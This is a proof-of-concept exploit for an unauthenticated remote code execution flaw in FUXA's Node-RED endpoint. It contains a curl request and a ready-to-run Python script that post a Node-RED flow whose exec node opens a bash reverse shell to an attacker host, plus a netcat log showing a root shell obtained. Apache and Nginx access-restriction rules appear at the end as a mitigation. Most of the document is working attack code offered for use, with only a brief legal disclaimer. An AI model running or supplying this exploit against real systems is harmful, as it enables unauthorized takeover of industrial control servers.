docker run -d -p 1881:1881 --name fuxa-1.2.8 frangoteam/fuxa:1.2.8

curl -X POST http://<IP_ADDRESS>:1881/nodered/flows \
  -H "Content-Type: application/json" \
  -H "Node-RED-Deployment-Type: full" \
  -H "Referer: http://192.168.1.201:1881/editor" \
  -d '[
    {
      "id": "tab1",
      "type": "tab",
      "label": "RCE",
      "disabled": false,
      "info": ""
    },
    {
      "id": "inject1",
      "type": "inject",
      "z": "tab1",
      "name": "",
      "props": [{"p": "payload"}],
      "repeat": "",
      "crontab": "",
      "once": true,
      "onceDelay": 0.1,
      "topic": "",
      "payload": "",
      "payloadType": "date",
      "x": 150,
      "y": 100,
      "wires": [["exec1"]]
    },
    {
      "id": "exec1",
      "type": "exec",
      "z": "tab1",
      "command": "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1",
      "addpay": "",
      "append": "",
      "useSpawn": "false",
      "timer": "",
      "winHide": false,
      "oldrc": false,
      "name": "",
      "x": 350,
      "y": 100,
      "wires": [["debug1"], [], []]
    }
  ]'

┌──(kali㉿jbkira)-[~]
└─$ nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.1.36] from (UNKNOWN) [192.168.1.201] 59546
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@887eaf642fc4:/usr/src/app/FUXA/server#

#!/usr/bin/env python3
import argparse
import requests
import sys
import json

# Color codes for terminal output
GREEN = "\033[92m"
RED = "\033[91m"
YELLOW = "\033[93m"
ORANGE = "\033[33m"
BLUE = "\033[94m"
RESET = "\033[0m"

def exploit(target_url, listener_ip, listener_port):
    # Extract host:port from URL for Referer
    target_host = target_url.split("//")[1].split("/")[0]
    
    # Build the full endpoint
    if not target_url.endswith("/"):
        target_url += "/"
    endpoint = f"{target_url}nodered/flows"

    # Payload for the exploit
    payload = [
        {
            "id": "tab1",
            "type": "tab",
            "label": "RCE",
            "disabled": False,
            "info": ""
        },
        {
            "id": "inject1",
            "type": "inject",
            "z": "tab1",
            "name": "",
            "props": [{"p": "payload"}],
            "repeat": "",
            "crontab": "",
            "once": True,
            "onceDelay": 0.1,
            "topic": "",
            "payload": "",
            "payloadType": "date",
            "x": 150,
            "y": 100,
            "wires": [["exec1"]]
        },
        {
            "id": "exec1",
            "type": "exec",
            "z": "tab1",
            "command": f"bash -i >& /dev/tcp/{listener_ip}/{listener_port} 0>&1",
            "addpay": "",
            "append": "",
            "useSpawn": "false",
            "timer": "",
            "winHide": False,
            "oldrc": False,
            "name": "",
            "x": 350,
            "y": 100,
            "wires": [["debug1"], [], []]
        }
    ]

    headers = {
        "Content-Type": "application/json",
        "Referer": f"http://{target_host}/editor"
    }

    try:
        response = requests.post(endpoint, json=payload, headers=headers, timeout=10)
        if response.status_code == 200 or response.status_code == 204:
            print(f"{GREEN}[+] Exploit successful! Check your listener for a reverse shell. ;){RESET}")
        else:
            print(f"{RED}[-] Exploit failed. Status Code: {response.status_code}{RESET}")
    except requests.exceptions.RequestException as e:
        print(f"{RED}[-] Error occurred: {e}{RESET}")

def argparse_setup():
    parser = argparse.ArgumentParser(description="Exploit for FUXA Unauthenticated RCE (CVE-2026-25938) created by JBKira")
    parser.add_argument("-u", "--url", help="Target URL (e.g., http://targetIP:1881/)", required=True)
    parser.add_argument("-l", "--listener-ip", help="Your listener IP for reverse shell", required=True)
    parser.add_argument("-lp", "--listener-port", type=int, default=443, help="Port for reverse shell (default: 443)")
    return parser.parse_args()

def banner():
    print(f"{YELLOW}")
    print(r"""
     _____ _   _ _____       _____  _____  _____   ____        _____  _____  _____  _____ _____ 
    /  __ \ | | |  ___|     / __  \|  _  |/ __  \ / ___|      / __  \|  ___||  _  ||____ |  _  |
    | /  \/ | | | |__ ______`' / /'| |/' |`' / /'/ /___ ______`' / /'|___ \ | |_| |    / /\ V / 
    | |   | | | |  __|______| / /  |  /| |  / /  | ___ \______| / /      \ \\____ |    \ \/ _ \ 
    | \__/\ \_/ / |___      ./ /___\ |_/ /./ /___| \_/ |      ./ /___/\__/ /.___/ /.___/ / |_| |
    \____/\___/\____/      \_____/ \___/ \_____/\_____/      \_____/\____/ \____/ \____/\_____/
                                                                                                                                                                           
    """)
    print(f"CVE-2026-25938 Exploit for FUXA NODE-RED Unauthenticated RCE created by JBKira{RESET}")
    print(f"{ORANGE}github.com/judgedbykira{RESET} | {BLUE}linkedin.com/in/yeray-medina{RESET}")
    print(f"Only use this in real penetration tests or lab environments. Unauthorized use is illegal.\n")

def main():
    args = argparse_setup()
    banner()
    exploit(args.url, args.listener_ip, args.listener_port)

if __name__ == "__main__":
    main()

<LocationMatch "^/nodered/">
    Require ip 127.0.0.1
    Require ip ::1
    Require ip <TRUSTED_MGMT_CIDR>
</LocationMatch>

location /nodered/ {
    allow 127.0.0.1;
    allow ::1;
    allow <TRUSTED_MGMT_CIDR>;
    deny all;
}